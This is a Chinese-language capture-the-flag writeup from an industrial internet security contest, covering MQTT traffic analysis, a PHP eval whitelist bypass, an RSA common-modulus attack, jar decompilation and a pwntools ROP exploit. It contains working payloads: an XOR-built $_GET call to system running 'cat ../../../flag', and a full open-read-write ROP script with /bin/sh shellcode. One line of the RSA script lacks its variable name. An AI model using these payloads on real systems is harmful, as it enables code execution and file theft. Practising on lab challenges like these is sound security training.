前言
上周划水参加了第二届全国工业和信息化技术技能大赛河南选拔赛工业互联网安全赛,时间有限,工控的比赛还是挺有意思的,这里是部分的Writeup。
MQTT
根据流量包分析,搜索字段,在数据流量包中依次发现flag的字段信息
f

l

a

依次读出flag
flag{ruEf6OmqhAlXIYxmnR1XLC6R1]}
Webmath
<?php
error_reporting(0);
//do you love math?
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
$content = $_GET['c'];
if (strlen($content) >= 60) {
die("no");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("no");
}
}
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("no");
}
}
//answer
eval('echo '.$content.';');
}
根据代码可知,传入参数c,get方式执行读取flag,
c=($_GET[a])($_GET[b])&a=system&b=command
当函数为上面时,可执行命令读取flag,但是需要绕过正则,GET中括号和和GET本身都不能出现,中括号可以用{}替代,因此这道题的核心就是构造_GET。正则长度要小于30位,白名单选择pi,构造payload
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1});&0=system&1=cat%20../../../flag

Webeasy_php
题比较简单,原因为php的特性,直接使用变量覆盖,通过die($right)输出flag,首先我们把$flag的值传给$right,$right传给$false,if判断die得到flag

payload如下

G7
使用plc工具直接打开文件可看到值,图博软件,工具比较大一个多G

flag{1.216667}
RSA
RSA的共模问题,cd ≡ m (mod n) 当n不变的情况下,知道n,e1,e2,c1,c2 可以在不知道d1,d2的情况下,解出m,根据这个原理python脚本如下:
import gmpy2
n=16442069698903190332798001136510594500772057890654803632472269295569703491984509331612232765171979242811293159512314067389450315239364013261654443051586016551841333115771782087188040155453391661389183438865972616999723056094917927040363089052925427305515283124558996650469505921636840249978973025241350281299205621943656284448258837226268829074569141641389810620229545702410464827707904864229140071493768380723900343844226422808644298857309212952940961381824673839241270452178339172472428190338384529833125974260149861055190854379339666406970902725567591252494696651033698289896555322969511252441065644666750688754301
c1=11344227822924398707681371267080390586031705154604453943425275271999106629508837774571503873142767035024093166510241574595176954560062717187779231065758022853776950022122873799743067456400054330068696243844284418343105243054583616688835460467311024333779682428303703673619900938345171439500502735176201364090744064938758701239231989275234447176625621778528872253948058271693187219495425465076296388938927003165238826529047172375827163909759966800087484354602981608466433310339531151403322312197664153365775912743868787322172301031053947255204360950253700280200662673653371303375205908842232063995030423893505177971238
e1=65537
50627953215597065877115212757464454516238902340140908280147589398820326608448521002071300925479270234135667386050757961886427491859930753385038219771067042177088010384696860365665314401630860310874805561478558267453751268340540889069923422234365854033159411899203116990343792906499551456188805721945906575946701073184150653439745854758428216152115182721746746483698574831510407730113494786700914624870279028694530013846569159760078697672239883348672928105018687378696500893523343425275978956101521415786269561694969575910638386672702717389189554856542911031872895011087696187529690119883536874942299702000529849535
e2=65535
r , s1 , s2 = gmpy2.gcdext(e1,e2)
m = (gmpy2.powmod(c1,s1,n)*gmpy2.powmod(c2,s2,n)) % n
print('m:{}'.format(m))
print(bytes.fromhex(hex(m)[2:]))
G3
PWN1
环境中开启了NX,no pie,no canary,漏洞卫视为2.31下的栈溢出,开了沙箱禁用了execve,考虑orw,覆盖返回地址为orw的ROP即可
# -*- coding: UTF-8 -*-
from pwn import *
from z3 import *
import sys
from pwnlib.util.iters import mbruteforce
context.log_level = 'debug'
python_version = sys.version_info.major
context.terminal = ["/bin/tmux","sp","-h"]
context(arch='amd64',os='linux')
debug = False if "r" in sys.argv else True
vuln_name = "./onlyorw"
# libc_path = "/home/yrl/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6"
libc_path = "./libc-2.31.so"
libc_source_path = "/home/yrl/glibc-all-in-one/libs-src/glibc-2.36"
libc_symbol_path = "/home/yrl/glibc-all-in-one/libs/2.36-0ubuntu4_amd64/.debug/d1/704d25fbbb72fa95d517b883131828c0883fe9.debug"
elf, rop = ELF(vuln_name), ROP(vuln_name)
libc, roplibc = ELF(libc_path), ROP(libc_path)
os.system("chmod +x " + vuln_name)
if debug:
io = process([vuln_name],env={'LD_PRELOAD':libc_path})
else:
io = remote("192.168.100.100", 23041)
def debug(io, gdb_script):
if gdb_script != None:
gdb.attach(io,gdb_script.format(libc_symbol_path=libc_symbol_path,libc_source_path=libc_source_path))
gdb.attach(io)
pause()
def get_libc_gadget(rop_gadget):
if python_version == 2:
gadget = libc.search(rop_gadget).next() if rop_gadget == '/bin/sh\x00' else libc.search(asm(rop_gadget)).next()
else:
gadget = libc.search(rop_gadget).__next__() if rop_gadget == b'/bin/sh\x00' else libc.search(asm(rop_gadget)).__next__()
return gadget
gdb_script='''
source /home/yrl/loadsym.py
loadsym {libc_symbol_path}
dir {libc_source_path}
dir {libc_source_path}/libio
'''
l64 = lambda :u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(io.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a.encode(),b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x.encode()) if python_version == 3 and type(x) == str else io.sendline(x)
sa = lambda a,b : io.sendafter(a.encode(),b.encode()) if python_version == 3 and type(b) == str else io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a.encode(),b.encode()) if python_version == 3 and type(b) == str else io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : debug(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
ur64 = lambda data : u64(data.rjust(8, b'\x00'))
#charset = string.printable
## charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
#hash_code = io.recvuntil('\n', drop=True).decode().strip()
## lg('hash_code')
#log.success('hash_code={}'.format(hash_code))
#passstr = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4, method='fixed')
#sla('pass:',passstr)
bss = 0x404060
start = 0x4010B0
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
shell ="\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"
pop_rdi = 0x00000000004013c3
pop_rsi = 0x00000000004013c1
pay = 'a'*(0x28) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(start)
sla('gift: flag',pay)
libcbase = l64() - libc.symbols['puts']
lg('libcbase')
readaddr = libcbase + libc.symbols['read']
openaddr = libcbase + libc.symbols['open']
writeaddr = libcbase + libc.symbols['write']
pop_rdx = libcbase + 0x0000000000142c92
pay = 'a'*(0x28)
dbg()
pay += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss) + p64(0) + p64(readaddr)
pay += p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0)*2 + p64(openaddr)
pay += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(0) + p64(pop_rdx) + p64(0x50) + p64(readaddr)
pay += p64(pop_rdi) + p64(1) + p64(pop_rdx) + p64(0x50) + p64(writeaddr)
sla('gift: flag',pay)
pause()
sl('./flag\x00')
Foyue
拿到的文件使用file
命令查看文件类型,修改后缀名解压缩后得到jar包,反编译jar包的,在SAComm.jar中可以直接找到flag

Flagl{sysdiag+factorycast@schneider}